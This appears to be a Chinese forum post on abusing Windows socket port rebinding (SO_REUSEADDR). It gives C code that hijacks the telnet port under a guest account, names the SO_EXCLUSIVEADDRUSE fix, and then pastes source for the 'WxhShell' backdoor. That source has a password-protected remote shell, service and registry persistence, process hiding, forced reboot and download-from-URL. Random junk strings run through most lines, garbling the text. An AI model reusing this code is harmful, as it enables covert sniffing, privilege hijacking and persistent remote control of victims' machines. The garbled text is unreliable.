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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ak zb<aT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H{8\<E:V+}  
I5mS!m/X  
  saddr.sin_family = AF_INET; -oj@ c OZ  
;_!;D#:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?a% u=G  
?(z3/ "g]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |NqQKot1  
lz>hP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ej~ /sO  
827N?pU$)  
  这意味着什么?意味着可以进行如下的攻击: |8"HTBb\CW  
ofJ@\xS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2rk_ ssvs  
z3,z&Ra  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IaB A2  
\)bwdNWI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #oaX<,  
7K~=QEc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g?ft;kR6S  
uv$y"1'g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >}iYZ[ V  
y =CemJ[~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GZ"O%: d  
H:`r!5&Qb5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V>hy5hDpH  
BmZd,}{  
  #include <M=K!k  
  #include ;]gph)2cd  
  #include rv+"=g  
  #include    2&M 8Wb#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UX6-{ RP  
  int main() F n\)*; ^  
  { 2neiUNT  
  WORD wVersionRequested; q(C+D%xB  
  DWORD ret; ev>: 3_ s  
  WSADATA wsaData; +Fk.B@KT,  
  BOOL val; F[lHG,g-  
  SOCKADDR_IN saddr; ?w.Yx$Z"  
  SOCKADDR_IN scaddr; |cH\w"DcXw  
  int err; T SOt$7-  
  SOCKET s; 7Y-GbG.'  
  SOCKET sc; F~m tE8B:  
  int caddsize; g$ h!:wW  
  HANDLE mt; J;qHw[6  
  DWORD tid;   _.j KcDf  
  wVersionRequested = MAKEWORD( 2, 2 );  j%lW+ [%  
  err = WSAStartup( wVersionRequested, &wsaData ); u+*CpKR}  
  if ( err != 0 ) { o_cj-  
  printf("error!WSAStartup failed!\n"); 5i0<BZDTef  
  return -1; B!:(*lF  
  } q o'1Pknz  
  saddr.sin_family = AF_INET; GYBM]mW^ W  
   fQ<V_loP.@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [bAv|;  
m2_B(-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b3Do{1BV  
  saddr.sin_port = htons(23); *@yYqI<1a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kh27[@s  
  { {w2<;YXj!  
  printf("error!socket failed!\n"); DpA)Z ??  
  return -1; yY!jkRq%w  
  } 6d_l[N  
  val = TRUE; {W0@lMrD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `.n[G~*w~1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E@?jsN7  
  { " `lRX  
  printf("error!setsockopt failed!\n"); # H4dmnV  
  return -1; ruoiG?:T  
  } "B.l j)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >LjvMj ]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }hGbF"clqg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  @521 zi  
#CM2FN:W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h4V.$e<T&  
  { x.'O_7c0:  
  ret=GetLastError(); oYu5]ry  
  printf("error!bind failed!\n"); JMoWA0f  
  return -1; /0zk&g  
  } ^K3{6}]  
  listen(s,2); Q?vGg{>  
  while(1) ifuVVFov  
  { 8Y:bvs.j  
  caddsize = sizeof(scaddr); C6GYhG]  
  //接受连接请求 !x>P]j7A}Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  +&|WC2#  
  if(sc!=INVALID_SOCKET) zF{5!b  
  { srUpG&Bcx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K{ N#^L!  
  if(mt==NULL) mI}'8 .  
  { /<GygRs  
  printf("Thread Creat Failed!\n"); qUCiB}  
  break; GeE|&popO  
  } k*M1m'1  
  } QQqWJq~  
  CloseHandle(mt); n *U1 M  
  } S53[K/dZo  
  closesocket(s); Nhs]U`s(g  
  WSACleanup(); &}rh+z  
  return 0; r3#H]c  
  }   VaH#~!  
  DWORD WINAPI ClientThread(LPVOID lpParam) Fe: 0nr9;  
  { )PZ'{S  
  SOCKET ss = (SOCKET)lpParam; >hHn{3y  
  SOCKET sc; 0?k/vV4  
  unsigned char buf[4096]; R7+k=DI  
  SOCKADDR_IN saddr; ! XA07O[@  
  long num; e%"L79Of6)  
  DWORD val; ceAK;v o  
  DWORD ret; lv,<[Hw1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 < jfi"SJu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2U i)'0  
  saddr.sin_family = AF_INET; {4UlJ,Z.n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x2;92I{5C,  
  saddr.sin_port = htons(23); RoP z?,u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Vi #O^>  
  { iugTXZ(  
  printf("error!socket failed!\n"); Z?X ^7<  
  return -1; 6X)8vQH  
  } C)Mh  
  val = 100;  s(F^P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tFXG4+$D  
  { amOBUD5Ld`  
  ret = GetLastError(); 8\/E/o3  
  return -1; ^KmyB6Yg  
  } BT >8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z3=t"  
  { Es1Yx\/:  
  ret = GetLastError(); }wz )"  
  return -1; zS]Yd9;X1  
  } B$aboL2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  !1;DRF  
  { UEt #;e  
  printf("error!socket connect failed!\n"); 8&B{bS  
  closesocket(sc); sJ25<2/  
  closesocket(ss); 9w(QM-u  
  return -1; Rax}r  
  } ewD61Y8-  
  while(1) "C%;9_ig$  
  { o^2.&e+dQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %/jm Q6z^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Fod2KS;g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jy{A1i@4~s  
  num = recv(ss,buf,4096,0); >(p "!  
  if(num>0) ~%m-}Sxc  
  send(sc,buf,num,0); 2 ES .)pQ  
  else if(num==0) - TSn_XE  
  break; >cQ*qXI0  
  num = recv(sc,buf,4096,0); qbpvTTF  
  if(num>0) O]90 F  
  send(ss,buf,num,0); g.Z>9(>;Y  
  else if(num==0) ~\(U&2t  
  break; r)q6^|~47  
  } j'I$F1>Te  
  closesocket(ss); K'7i$bl%  
  closesocket(sc); {C[<7r uF  
  return 0 ; mS6L6)] S  
  } OANn!nZ.  
P.=&:ay7?  
R@u6mMX{N,  
==========================================================  jI[:`  
B/&axm%0  
下边附上一个代码,,WXhSHELL [?yOJU%`  
gs7H9%j{U  
========================================================== x=gZ7$?A  
A7 E*w  
#include "stdafx.h" P10`X&  
}2-{4JIq}  
#include <stdio.h> 2>_6b>9]  
#include <string.h> 7JQ5OC3  
#include <windows.h> UXnd~DA  
#include <winsock2.h> z{7&=$  
#include <winsvc.h> *4dA(N\k"  
#include <urlmon.h> ~W_m<#K(  
#92 :h6  
#pragma comment (lib, "Ws2_32.lib") [89#8|+  
#pragma comment (lib, "urlmon.lib") (Rve<n6{A  
; P&K a  
#define MAX_USER   100 // 最大客户端连接数 W:ih#YW_F  
#define BUF_SOCK   200 // sock buffer %DbL|;z1  
#define KEY_BUFF   255 // 输入 buffer y!h$Z6.  
g < M\zD  
#define REBOOT     0   // 重启 l!EfvqWX  
#define SHUTDOWN   1   // 关机 ,0[bzk  
S9t_2%e  
#define DEF_PORT   5000 // 监听端口 1BmevE a)  
i\ X Ok!  
#define REG_LEN     16   // 注册表键长度 t=d~\_Oa  
#define SVC_LEN     80   // NT服务名长度 >| rID  
_A;jtS)SY  
// 从dll定义API l%oie1g l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]Jq1b210  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eh&?BP?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k^:$ETW2 D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /xWkP{  
jxm.x[1ki^  
// wxhshell配置信息 (>%Ddj6_>  
struct WSCFG { eo24I0 `N  
  int ws_port;         // 监听端口 k*\WzBTd  
  char ws_passstr[REG_LEN]; // 口令 !=_:*U)-'  
  int ws_autoins;       // 安装标记, 1=yes 0=no x}?y@.sn8  
  char ws_regname[REG_LEN]; // 注册表键名 cO.U*UTmX  
  char ws_svcname[REG_LEN]; // 服务名 `_N8A A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p3M)gH=N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QS4sSua  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {+0]diD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |K YONQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pn{Mj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h7)^$Hd  
T2AyQ~5~  
}; $pyM<:*L&<  
<!v^Df  
// default Wxhshell configuration y+)][Wa0  
struct WSCFG wscfg={DEF_PORT, 5hUYxF20h8  
    "xuhuanlingzhe", T2P0(rEz  
    1, ?Lbw o<E  
    "Wxhshell", bN`oQ.Z 4  
    "Wxhshell", Zrr3='^s  
            "WxhShell Service", mqrP0/sN  
    "Wrsky Windows CmdShell Service", Ou"QUn|  
    "Please Input Your Password: ", f<= #WV  
  1, J^R))R=  
  "http://www.wrsky.com/wxhshell.exe", @F]6[  
  "Wxhshell.exe" Mc#uWmc 7  
    }; lbZ,?wm  
dE7 kd=.o  
// 消息定义模块 -v'7;L0K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B;r U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vvU;55-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8P.t  
char *msg_ws_ext="\n\rExit."; 17I{_C  
char *msg_ws_end="\n\rQuit."; ID & Iz  
char *msg_ws_boot="\n\rReboot..."; 2`Ub;Nn29  
char *msg_ws_poff="\n\rShutdown..."; 4_Tx FulX.  
char *msg_ws_down="\n\rSave to "; [ dpd-s  
s#/JMvQ#  
char *msg_ws_err="\n\rErr!"; s^TF+d?B  
char *msg_ws_ok="\n\rOK!"; ,A[40SZA  
(C={/waJ  
char ExeFile[MAX_PATH]; G"T)+! 6t  
int nUser = 0; TR L4r_  
HANDLE handles[MAX_USER]; qAUqlSP5  
int OsIsNt; \K.i8f,  
T^B&GgW  
SERVICE_STATUS       serviceStatus; p+ SFeUp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }L^Yoq]  
IsxPm9P2<  
// 函数声明 (cAv :EKpo  
int Install(void); odMjxWY  
int Uninstall(void); j#S>8: G  
int DownloadFile(char *sURL, SOCKET wsh); bo '  
int Boot(int flag); a,b ;H(em  
void HideProc(void); VO] Jvf  
int GetOsVer(void); Q^$IlzG7i  
int Wxhshell(SOCKET wsl); Tw/kD)u{  
void TalkWithClient(void *cs); $v#Q'?jE  
int CmdShell(SOCKET sock); JR|yg=E  
int StartFromService(void); D|/Azy.[  
int StartWxhshell(LPSTR lpCmdLine); <mjH#aSy  
nud,ag  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )tl=tH/$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); */sVuD^b`  
yw^t6E  
// 数据结构和表定义 m3 C&QdjRp  
SERVICE_TABLE_ENTRY DispatchTable[] = RXh0hD  
{ k!H;(B"s-  
{wscfg.ws_svcname, NTServiceMain}, /6B!& b2f  
{NULL, NULL} @a#qq`b;  
}; %Rj:r!XB:  
.\= GfF'  
// 自我安装 g6o-/A!Q3  
int Install(void) *M\Qt_[  
{ U>7"BpC  
  char svExeFile[MAX_PATH]; hSSF]  
  HKEY key; w~y+Pv@   
  strcpy(svExeFile,ExeFile); B;XFPQ#b  
x.qn$?3V]  
// 如果是win9x系统,修改注册表设为自启动 ?`V%[~4_I  
if(!OsIsNt) { :P #   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I gcVl/d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IE.JIi^w  
  RegCloseKey(key); d!7cIYVZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Jhu&MWg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O|m-Uz"+  
  RegCloseKey(key); 3.U5Each-  
  return 0; zB/$*Hd  
    } sJg-FVe2  
  } } R!-*Wk  
} 8fFURk  
else { 9_V'P]@  
 /s.sW l  
// 如果是NT以上系统,安装为系统服务 ?1?D[7$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y;<^[  
if (schSCManager!=0) XmXp0b7  
{ ,u^i0uOg  
  SC_HANDLE schService = CreateService !31v@v:)  
  ( H>AQlO+J  
  schSCManager, 8.HqQ:?&2t  
  wscfg.ws_svcname, 7].tt  
  wscfg.ws_svcdisp, a9 7A{7I&  
  SERVICE_ALL_ACCESS, [_*%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PeEf=3  
  SERVICE_AUTO_START, :]iV*zo_  
  SERVICE_ERROR_NORMAL, *i|O!h1St  
  svExeFile, s`GwRH<#  
  NULL, <^6|ZgR  
  NULL, Os' 7h  
  NULL, P9; =O$s  
  NULL, Lo _5r T"  
  NULL EpSVHD:*  
  ); +Rn]6}5m\  
  if (schService!=0) ,2q LiE>  
  { )%Z<9k  
  CloseServiceHandle(schService); o7<pI8\  
  CloseServiceHandle(schSCManager); [U@#whEO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tNg}: a|J  
  strcat(svExeFile,wscfg.ws_svcname); ]u  4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KZUB{Y^)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GqBZWmAB  
  RegCloseKey(key); j:B?0~=  
  return 0; #]<j.Fc`  
    } /{ Lo0  
  } d]6.$"\" p  
  CloseServiceHandle(schSCManager); &l2oyQEF)  
} :pj#t$:!  
} ^_ L'I%%[  
^M6xRkI  
return 1; e}Cp;c]=  
} vggyQf%  
<gRv7 ?V[z  
// 自我卸载 ^55#!/9  
int Uninstall(void) Jj4!O3\I  
{ +#7 e?B  
  HKEY key; C-' n4AY^  
\)'s6>58|  
if(!OsIsNt) { !]=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y<jW7GNt  
  RegDeleteValue(key,wscfg.ws_regname); :5IbOpVM  
  RegCloseKey(key); PrqN5ND  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5D 9I;L{  
  RegDeleteValue(key,wscfg.ws_regname); '1{co/Y  
  RegCloseKey(key); *m6~x-x  
  return 0; aF1i!Z  
  } !PJD+SrG  
} v MTWtc!6  
} 9gR@Q%b)  
else { 1eQa54n  
k2DT+}u7G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 19O /Q,9  
if (schSCManager!=0) MLg+ 9y  
{ g>)&Q >}=W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q66!xhp;?  
  if (schService!=0) sc dU  
  { '*H&s  
  if(DeleteService(schService)!=0) { \g& P5  
  CloseServiceHandle(schService); Hh`x>{,|S  
  CloseServiceHandle(schSCManager); `7$0H]*6  
  return 0; ~x;1&\'k  
  } }qU(G3  
  CloseServiceHandle(schService); $'Z\'<k[  
  } AX3iB1):K  
  CloseServiceHandle(schSCManager); &?C% -"|c  
} <yzgZXxIaS  
} gE2k]`[j]  
YLs%u=e($  
return 1; :4RD .l  
} NT+%u-  
|35"V3bs  
// 从指定url下载文件 OXc!^2 ^  
int DownloadFile(char *sURL, SOCKET wsh) w/+e  
{ 1}nrVn[B9  
  HRESULT hr; ~k>H4hV3  
char seps[]= "/"; ? IgM=@  
char *token; KqC8ozup  
char *file; '| (#^jAj  
char myURL[MAX_PATH]; 8U}BSM_<2  
char myFILE[MAX_PATH]; MNd8#01q`  
2\Bt~;EIx  
strcpy(myURL,sURL); ajB4 Lj,:r  
  token=strtok(myURL,seps); ?t<yk(q  
  while(token!=NULL) d$.t0-lC  
  { ;s{k32e  
    file=token; ^W!w~g+  
  token=strtok(NULL,seps); <j CD^  
  } TY,5]*86I&  
}i,LP1R  
GetCurrentDirectory(MAX_PATH,myFILE); o"h* @.  
strcat(myFILE, "\\"); aVTTpMY  
strcat(myFILE, file); ~2 aR>R_nT  
  send(wsh,myFILE,strlen(myFILE),0); ( -^-  
send(wsh,"...",3,0); b {fZU?o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O*% 1   
  if(hr==S_OK) 7;0$UYDU*  
return 0; ,m ^q >  
else .3Ex=aQcX  
return 1; "Z xM,kI  
*^agwQ`  
} YI[y/~!  
MP"Pqt  
// 系统电源模块 fePt[U)2  
int Boot(int flag) ?+6w8j%\  
{ `Hj{XIOx  
  HANDLE hToken; &oi*]:<FNe  
  TOKEN_PRIVILEGES tkp; :)7{$OR&  
PEA<H0  
  if(OsIsNt) { 66RqjP '2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |S0]qt?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w]2tb  
    tkp.PrivilegeCount = 1; fd Vye|%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gZkjh{rQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w.v yEU^  
if(flag==REBOOT) { x-W6W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z?@1X`@  
  return 0; m]}%Ag^x  
} {zGM[A  
else { &U <t*"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p\xi5z  
  return 0; h$\+r<  
} IC5[:UZ5]  
  } 9hoTxWpmy  
  else { ?[Gj?D.Wc  
if(flag==REBOOT) { ruqx #]-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8&d s  
  return 0; r7dvj#^  
} +[W_J z  
else { f+A!w8E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c:;m BS>~  
  return 0; 8M9LY9C  
} 4(2iR0N  
} a-nf5w>&q  
24 )Sf  
return 1; 2VSs#z!  
} f9`F~6$  
!\e&7sV~Q  
// win9x进程隐藏模块 \gtI4zl*J  
void HideProc(void) E]Wnl\Be  
{ J})#43P  
# MpW\yX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b \pjjb[  
  if ( hKernel != NULL ) mv%Zh1khn/  
  { 'ju  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e-@=QI^,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o XKH,r  
    FreeLibrary(hKernel); q ERdQ~M,  
  } :Ng4? +@r  
%+>t @F,GM  
return; $x%3^{G  
} MXQ S6F#  
u+U '|6)E  
// 获取操作系统版本 L\O}q  
int GetOsVer(void) /3]b!lFZZ  
{ u<}PcI.  
  OSVERSIONINFO winfo; ux8:   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HTpoYxn(  
  GetVersionEx(&winfo); ^;KL`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I $5*Puy#  
  return 1; IUK !b2!`  
  else +y}4^3Vx^  
  return 0; 1m$< %t.>  
} C`)n\?:Sth  
!21#NCw  
// 客户端句柄模块 {9 PeBc  
int Wxhshell(SOCKET wsl) gy%/zbZx  
{ M@R_t(&=   
  SOCKET wsh; x37pj)i/  
  struct sockaddr_in client; Py}`k1t*f  
  DWORD myID; lDBn3U&z>  
k3:8T#N>!O  
  while(nUser<MAX_USER) T3-8AUCK8?  
{ ?AL;m.X-@  
  int nSize=sizeof(client); Stq [[S5P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a.oZ}R7'Y  
  if(wsh==INVALID_SOCKET) return 1; 83^|a5  
zAr@vBfC%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vmV<PK-  
if(handles[nUser]==0) Glt%%TJb   
  closesocket(wsh); $d@_R^]X  
else 'Fe1]B"Y  
  nUser++; Ax'jNol  
  } 8ec6J*b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ."8bW^:  
z } L3//  
  return 0; kO1.27D  
} 4sj:%% UE  
^CZ)!3qd1  
// 关闭 socket =f4v: j}'|  
void CloseIt(SOCKET wsh) q;XO1Se  
{ z j[/~ I  
closesocket(wsh); !A5UT-  
nUser--; $U{ \T4  
ExitThread(0); ]+ \]2`?  
} ?2;gmZd7  
2E@ !  
// 客户端请求句柄 upD 2vtU  
void TalkWithClient(void *cs) ;k<n}shD  
{ Hg~O0p}[  
<G5d{rKZ  
  SOCKET wsh=(SOCKET)cs; .6@qU}  
  char pwd[SVC_LEN]; qTGEi  
  char cmd[KEY_BUFF]; 6" s}<  
char chr[1]; zsQhydTR  
int i,j; 7DG{|%\HF  
)$h<9e  
  while (nUser < MAX_USER) { ;bC163[  
2J^jSgr50d  
if(wscfg.ws_passstr) { *1Q~/<W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dHE\+{K%-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LuLnmnmB  
  //ZeroMemory(pwd,KEY_BUFF); g?(h{r`  
      i=0; k8]uy2R6}  
  while(i<SVC_LEN) { NlBnV  
9c /&+j  
  // 设置超时 \xQ10\u  
  fd_set FdRead; 0K0[mC}ZwM  
  struct timeval TimeOut; <> jut  
  FD_ZERO(&FdRead); ~|LlT^C  
  FD_SET(wsh,&FdRead); h{dR)#)GF<  
  TimeOut.tv_sec=8; hQm"K~SW=  
  TimeOut.tv_usec=0; (#4   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ac/=%om8u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "R"7'sJMI  
(sngq{*%%z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F<KUVe  
  pwd=chr[0]; UR/l M,N;  
  if(chr[0]==0xd || chr[0]==0xa) { XT n`$}nz  
  pwd=0; F?+K~['i  
  break; Nb))_+/  
  } U1+X!&OCp  
  i++; Bf&,ACOf  
    } WVP^C71  
gC}r$ZB(  
  // 如果是非法用户,关闭 socket M]S&vE{D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H;QE',a9+i  
} AfzE0mBW  
S{ v [65  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;ew3^i.du  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C+iIvRYC  
:RJ=f  
while(1) { 5`$.GV  
H#/}FoBiS  
  ZeroMemory(cmd,KEY_BUFF); LK "47  
IX!Q X  
      // 自动支持客户端 telnet标准   ' (JSU   
  j=0; MjO.s+I  
  while(j<KEY_BUFF) { rtl|zCst  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PMDx5-{A/t  
  cmd[j]=chr[0]; ]F,mj-?4x  
  if(chr[0]==0xa || chr[0]==0xd) { !'4HUB>+  
  cmd[j]=0; ?m)3n0Uh  
  break; R7/"ye:7J  
  } f0 ;Fokt(  
  j++; yQ33JQr  
    } a88(,:t  
~w<u!  
  // 下载文件 ]Zfg~K(  
  if(strstr(cmd,"http://")) { REyk,s2"6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @O;gKFx  
  if(DownloadFile(cmd,wsh)) {X=gjQ9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T.1*32cX  
  else gFJ. p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~^U(GAs  
  } 4g}eqW  
  else { ;C1]gJZ,  
*x^W`i   
    switch(cmd[0]) { &cty&(2p  
  -t92!O   
  // 帮助 AE:IXP|c  
  case '?': { g~5$X{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Up61Xn  
    break; _N4G[jQLJ  
  } &zl=}xeA  
  // 安装 GqFDN],Wp  
  case 'i': { ,tdV-9N[O  
    if(Install()) UjNe0jt% s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kh)SgJ3B@  
    else <NV[8B#k]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9{gY|2R_  
    break; 6}aIb.j  
    } "Qf X&'09  
  // 卸载 6 ufF34tA  
  case 'r': { aP}kl[W  
    if(Uninstall()) ?GdoB7(%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|t@p=]  
    else DKd:tL24&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Rqn)<<2  
    break; 7*bUy)UZ  
    } icq!^5BzL  
  // 显示 wxhshell 所在路径 jhd&\z-  
  case 'p': { !J3dlUFRO  
    char svExeFile[MAX_PATH]; 5iE-$,7#L  
    strcpy(svExeFile,"\n\r"); &|;XLRHP}  
      strcat(svExeFile,ExeFile); z1LN|+\}  
        send(wsh,svExeFile,strlen(svExeFile),0); `lAe2l^  
    break; |sf&t  
    } c/fU0cA@  
  // 重启 9,7IsT8  
  case 'b': { ; ^waUJ\Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3)jFv7LAU  
    if(Boot(REBOOT)) w8!S;~xKI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `|Aj3a3sND  
    else { ))y`q@  
    closesocket(wsh); [O) Q\|k  
    ExitThread(0); 9M3XHj  
    } F iZe4{(p  
    break; -O.q$D=as  
    } |7$F r[2d  
  // 关机 )<_e{_ h  
  case 'd': { '&?OhSeN  
